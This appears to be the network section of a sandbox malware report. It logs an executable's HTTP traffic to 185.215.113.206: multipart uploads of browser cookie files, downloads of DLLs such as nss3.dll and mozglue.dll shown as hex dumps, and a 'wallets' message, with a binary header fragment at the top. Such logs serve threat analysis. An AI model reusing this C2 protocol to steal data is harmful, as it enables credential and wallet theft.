.text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49856	185.215.113.206	80	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 15:27:32.584537029 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBA Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 15:27:32.584573984 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 Data Ascii: ------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Oct 29, 2024 15:27:33.999356985 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:34.156374931 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="file"------GCFCFCGCGIEHIECAFCFI--
Oct 29, 2024 15:27:34.954581022 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49940	185.215.113.206	80	6532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 15:27:42.932360888 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBFBAEBKJKEBGCAEHC Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 15:27:42.932416916 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 Data Ascii: ------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 29, 2024 15:27:44.355892897 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:44.566947937 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCFBGDHJKFIEBFIECGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 46 42 47 44 48 4a 4b 46 49 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGCFBGDHJKFIEBFIECGHContent-Disposition: form-data; name="file"------BGCFBGDHJKFIEBFIECGH--
Oct 29, 2024 15:27:45.342670918 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:46.439575911 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 15:27:46.718169928 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 29, 2024 15:27:46.718188047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Oct 29, 2024 15:27:46.718203068 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Oct 29, 2024 15:27:46.718281984 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Oct 29, 2024 15:27:46.718288898 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Oct 29, 2024 15:27:46.718295097 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Oct 29, 2024 15:27:46.718379021 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Oct 29, 2024 15:27:46.718384981 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Oct 29, 2024 15:27:46.718399048 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Oct 29, 2024 15:27:46.718405008 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Oct 29, 2024 15:27:48.010174990 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 15:27:48.288261890 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 15:27:48.659466982 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 15:27:48.950592041 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 29, 2024 15:27:49.158763885 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 15:27:49.439428091 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 29, 2024 15:27:50.669235945 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 15:27:50.950318098 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 29, 2024 15:27:51.295077085 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 15:27:51.825439930 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 29, 2024 15:27:52.521706104 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKJDAEBFCBKECBGDBFC Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 15:27:53.298686028 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:53.504841089 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 2d 2d 0d 0a Data Ascii: ------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="message"wallets------KFIJJEGHDAEBGCAKJKFH--
